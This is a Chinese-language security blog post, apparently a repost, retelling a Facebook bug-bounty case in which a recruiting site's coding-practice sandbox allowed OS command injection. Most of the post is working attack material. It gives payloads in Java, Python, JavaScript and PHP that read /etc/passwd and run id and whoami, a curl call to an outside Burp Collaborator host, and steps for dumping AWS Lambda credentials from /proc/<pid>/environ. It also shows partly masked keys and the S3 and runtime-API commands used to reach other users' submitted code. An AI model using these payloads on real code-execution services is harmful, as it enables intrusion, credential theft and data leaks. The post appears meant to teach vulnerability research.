部分网站开设编码练习,若安全配置不当,则代码执行将升级为操作系统命令注入,导致敏感信息泄露等。
信息泄露
facebookrecruiting.com是 Facebook 用于招聘的网站,其网站页面存在面试准备模块:
该模块提供了一系列编程练习:
尝试调用Runtime类的exec()方法来执行 /bin/sh -c cat /etc/passwd 命令:
class Main {
public static void main(String[] args) {
try {
String s = null;
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /etc/passwd"}).getInputStream());
while ((s = in.readLine()) != null) {
System.out.println(s);
}
} catch (Exception ex) {
}
}
}
回显如下,得到Linux中passwd文件内容:
这说明程序运行时没有对用户代码进行容器的安全性包装。
尝试不对异常进行捕获,如果成功回显则说明程序并未对代码进行安全性处理:
class Main {
public static void main(String[] args) throws Exception {
String s = null;
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "uname -a"}).getInputStream());
s = in.readLine();
System.out.println(s);
}
}
//uname -a命令显示系统信息,包括内核名称、版本、机器类型和操作系统
回显如下,执行成功:
同时,所有语言的Payload均有效:
Python:获取当前用户的身份标识符 (UID) 和组标识符 (GID)
eval(compile("""for x in range(1):n import osn os.popen(r'id').read()""",'','single'))
JavaScript:列出当前目录中的文件和文件夹
require('child_process').exec ('ls',function(err, data){console.log(data);});
PHP:获取当前执行此命令的用户的用户名
shell_exec("whoami");
同时,还可使用 burp 协作器进行外部服务交互:
system("curl -X GET -i http://xxxxxxp5ft4.burpcollaborator.net");
其它命令如 cat /proc/version、cat /etc/resolv.conf、ls -alR /tmp、ls -al /var/runtime 等均能执行,本文不再叙述。
扩大危害
上述危害似乎只是冰山一角,要扩大危害,AWS凭证是个突破口。
判断网站是否运用了 AWS 本文不叙。AWS凭证常置于 /proc/self/environ 下,但访问无果。
注意到 Lambda 是 AWS 的一项核心服务,且与存储桶等挂钩,于是转变方向。
通过 env 查看环境变量:
得到当前目录 /var/task,接着列出当前目录下文件:
class Main {
public static void main(String[] args) throws Exception {
String s = null;
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "ls /var/task"}).getInputStream());
while((s = in.readLine()) != null)
{
System.out.println(s);
}
}
}
回显两个文件名,使用命令 system(“ls -al; cat/var/task/app.py”) 访问 app.py,但输出被限制。
使用Python构造Payload:sed -n “1, 200p” < app.py | sed -n “1, 200p” < app.py | base64-w0“1, 200p” < app.py | base64 -w0(输出指定行经 base64 编码后的内容)以绕过限制
所得结果解码得到代码流程:
将代码流程剥离:
1、启动该函数的记录器和跟踪器
2、设置 S3 客户端连接
3、使用 shell 命令运行用户提供的代码subprocess
4、在脚本执行期间临时取消设置AWS环境变量
5、将文件放入 S3 存储桶
6、清理/tmp目录
核心代码如下:
stored_env_values = {}
for key in os.environ:
if 'AWS' in key:
stored_env_values[key] = os.environ[key]
for key in stored_env_values:
del os.environ[key]
for key in stored_env_values:
os.environ[key] = stored_env_values[key]
先将AWS环境变量复制到本地的Python变量中,然后删除它们,以防止脚本执行时能够访问AWS环境变量。命令执行后,再恢复隐藏的环境变量,这也就是访问/proc/self/environ得不到AWS凭证的原因。
既然做了如上限制,则思路应为:在脚本执行期间转储AWS凭证。
方法一:通过gc垃圾收集模块得到正在运行的Python脚本中对象的变量值,但当前脚本中并无AWS对象
方法二:尝试在执行完成后将所有现有的环境变量导出到一个用户定义的环境变量(ice)中:
实现脚本与代码执行的不同步:
sleep 5
export ice=$(env | base64 -w0)
经过base64编码再结合部分语法得到:
echo "IyEvYmluL3NoCnNsZWVwIDUKZXhwb3J0IFdJTjNaWj0kKGVudiB8IGJhc2U2NCAtdzAp" | base64 -d > /tmp/w | chmod +x /tmp/w | chmod +x /tmp/w | nohup sh /tmp/w > /dev/null 2>&1 &
简要来说,将编码的 shell 脚本解码后,保存到文件中,使脚本作为后台进程运行,并输出变量 ice。
然而失败:
方法三:不难想到从 Python 包入手。借助 pip freeze 命令检查所有已安装的 Python 包:
由回显可知存在 psutil 包,该包用于在 Python 中检索有关正在运行的进程和系统利用率(CPU、内存、磁盘、网络、传感器)的信息。
由于无法执行 ps 等 Linux 命令来检查正在运行的进程,故可利用 psutil。
列出所有进程:
system("python -c 'import psutil;print(tuple(psutil.process_iter()));'");
完整内容如下:
(psutil.Process(pid=1, name=’init’, status=’sleeping’, started=’03:08:52′), psutil.Process(pid=8, name=’cloudwatch_lambda_agent’, status=’sleeping’, started=’03:08:52′), psutil.Process(pid=11, name=’python3.9′, status=’sleeping’, started=’03:08:52′), psutil.Process(pid=298, name=’bash’, status=’sleeping’, started=’03:17:02′), psutil.Process(pid=299, name=’timeout’, status=’sleeping’, started=’03:17:02′), psutil.Process(pid=300, name=’time’, status=’sleeping’, started=’03:17:02′), psutil.Process(pid=301, name=’sh’, status=’sleeping’, started=’03:17:02′), psutil.Process(pid=302, name=’php’, status=’sleeping’, started=’03:17:02′), psutil.Process(pid=303, name=’python’, status=’running’, started=’03:17:02′))
可以看到,Python3.9 以进程 ID 11 运行,故可通过 pid 11 在 Linux 中分析相关元数据。
获取 AWS 凭证的最终 Payload 如下:
system("cat /proc/12/environ");
#读取进程12的环境变量
完整内容如下(已脱敏): AWS_LAMBDA_FUNCTION_VERSION=$LATESTAWS_SESSION_TOKEN=iceiceiceice//////////wEaCLXdlc3QtMSJIMEYCIQCURcd3HbPwPz/sDE6mF3Lg6y/n18PMJq+7JD1Dv8CCIT//////////wEQARoMOTMzNTEyNTUwMTg2IgyqZkhEB7O+3uOYM4tBxMxmkiiurqZPcuXj+hWAtUvhnXryAfxlG4iRmQ6bXIyqTN8nTdMVy4URn9vvNOZaiR/q9FoQVJwNAwe+9KgzAHCpCkqmG3jXBIcH+DxHy24bYM6qyHjwfF0gSK/VH04fRoeS4kJhWmH1AYcyjejXQlx9Jl2pMydLTw67ZSgBSD9BYsKON7i+qmXKn9G7RDw/HJ6s6aR6y2LkaShshNsxn1QT/s61FhaUL5rr7At7497hE0W5AFZ4jCgvB7o2/K3rsalYvodPysP5J7wB/UaLxngw8xSVYHMCua9bmaaq6tt/+UI7tHYBS/OJNMZg7N6hJQePbndkT4YyKZiQezJ5Eq+e9wUgw68iSrQY6nQEDWV1Ix1pPPy5Ud9ShCvUKPo9J8jC3n1ksuxfYJkkpiqCmOKvjhQTsxDH88Q1Q/dM9Xp4srFvx+K9xlg5YzlvNeVNhh2PbAP7eR5sbKdFkBjg4cJYxKglNQQmlNqMhHdWFWqhbhh8XNErDAabhU0lG6gNWGALAMBDA_TASK_ROOT=/var/taskAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/run_code_functionLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/libAWS_LAMBDA_LOG_STREAM_NAME=2024/01/15/[$LATEST]13b8d2634c675d20d5aAWS_LAMBDA_RUNTIME_API=xxx.xxx.xxx.xxx:iceiAWS_EXECUTION_ENV=AWS_Lambda_python3.9AWS_LAMBDA_FUNCTION_NAME=run_code_functionAWS_XRAY_DAEMON_ADDRESS=169.xxx.xx.xxx:iceiPATH=/usr/local/scala-2.xxx.xxx/bin:/usr/local/go/bin:/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/binAWS_DEFAULT_REGION=us-west-1PWD=/var/taskAWS_SECRET_ACCESS_KEY=ICEicexxxLKViceZdiceiceiceAudo+Sdsxxxxxxy1LANG=en_US.UTF-8LAMBDA_RUNTIME_DIR=/var/runtimeAWS_LAMBDA_INITIALIZATION_TYPE=on-demandTZ=:/etc/localtimeAWS_REGION=us-west-1AWS_ACCESS_KEY_ID=iceiceASI5SWNPCxxxxxxxYFxxxxLVL=0_AWS_XRAY_DAEMON_ADDRESS=xxx.xxx.xx.xxx_AWS_XRAY_DAEMON_PORT=xxxxAWS_XRAY_CONTEXT_MISSING=LOG_ERROR_HANDLER=app.lambda_handlerAWS_LAMBDA_FUNCTION_MEMORY_SIZE=xxxx
可以看到AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN均能显现,从而导致未经授权的访问、敏感信息泄露等。
危害具象化
使用 AWS CLI 工具检查 AWS 凭证的有效性:
export AWS_SESSION_TOKEN=XXXXX
export AWS_SECRET_ACCESS_KEY=XXXXX
export AWS_ACCESS_KEY_ID=XXXXX
aws sts get-caller-identity
回显内容表示来自 IAM STS 的临时安全凭证,用于向 AWS 资源发出编程请求。对AWS环境进行分析时发现:AWS Lambda函数在本地主机的9001端口上暴露了一个内部API,而该API本来只应该由服务器/云管理员访问。故可访问API的某个特定端点,获取函数执行时传入的数据(可能包含敏感数据)
执行
system("curl -X GET -i http://localhost:9001/2018-06-01/runtime/inspiration/next");
得到:
HTTP/1.1 200 OK
Content-Type: application/json
Lambda-Runtime-Aws-Request-Id: fd9e4cc8-c142-48d9-943d-e6b1e1859823
Lambda-Runtime-Deadline-Ms: 1650825840458
Lambda-Runtime-Invoked-Function-Arn: arn:aws:lambda:us-west-1:933512550186:function:run_code_function
Lambda-Runtime-Trace-Id: Root=1-62659a33-6515445a649a51be4f72ed0b;Parent=ff2d67174177dd6f;Sampled=1
Content-Length: 367
{
“execution_step”:”run”,
“user_code”:{
“file_name“:”source.txt”,
“language”:”PHP”
},
“inputfile”:484109642711496,
“submission_id”:408496154056779,
“s3_region”:”us-west-1″,
“time_limit_per_case_in_ms”:10000,
“upload_uri”:”source.txt”,
“execution_command”:”php /tmp/source.txt < /tmp/input.in”,
“memory_limit_in_bytes”:536870912,
“s3_bucket“:”terraform-20210608051810146400000001”
}
利用 file_name 及 s3_bucket 访问s3存储桶:
aws s3 cp s3://terraform-20210608051810146400000001/751854516023863/source.txt myOutputFile.txt
回显如下:
可以看到,用户Kevin的解决方案已被泄露:若所提交内容在具体场景中为项目或敏感信息,危害不需言说。
参考链接:
https://medium.com/@win3zz/facebook-bug-a-journey-from-code-execution-to-s3-data-leak-698b7d2b02ef
本文仅分享命令注入相关知识,不承担任何由于传播、利用本公众号所发布内容而造成的任何后果及法律责任。未经许可,不得转载。
芳华绝代安全团队现已推出Web安全渗透教程,欢迎学习:
https://space.bilibili.com/602205041
原文始发于微信公众号(芳华绝代安全团队):Facebook代码执行实现命令注入敏感信息泄露